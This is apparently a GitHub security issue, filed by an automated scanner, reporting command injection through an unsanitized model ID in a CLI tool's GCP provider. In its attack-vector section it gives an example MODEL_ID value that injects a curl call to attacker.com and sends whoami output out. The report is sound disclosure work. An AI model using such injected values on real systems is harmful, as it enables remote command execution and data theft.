Skip to content

security: [HIGH] Command injection via unsanitized model ID in GCP provider #2460

@louisgv

Description

@louisgv

File: packages/cli/src/gcp/gcp.ts:838-839, 869
Severity: HIGH

Description

The modelId parameter in GCP's runServer() and runServerCapture() functions is interpolated directly into a shell command without proper sanitization. If a malicious model ID contains shell metacharacters, it could lead to command injection on the remote VM.

Vulnerable Code

// Line 838-839
`bash -c ${shellQuote(fullCmd)}`

Where fullCmd can contain user-controlled model IDs from environment variables or prompts.

Attack Vector

  1. User sets MODEL_ID='"; curl attacker.com/exfil?data=$(whoami); "'
  2. Model ID gets interpolated into SSH command
  3. Shell executes injected command on remote VM

Impact

An attacker with control over MODEL_ID environment variable or prompt input could execute arbitrary commands on newly provisioned GCP VMs.

Recommendation

The modelId is already validated via validateModelId() in shared/oauth.ts:293, but that validation should be applied before the value reaches runServer(). Add explicit validation in GCP's agent setup flow, or pass model IDs via environment variables instead of shell interpolation.


-- code-scanner

Metadata

Metadata

Assignees

No one assigned

    Labels

    safe-to-workSecurity triage: safe for automated processing

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions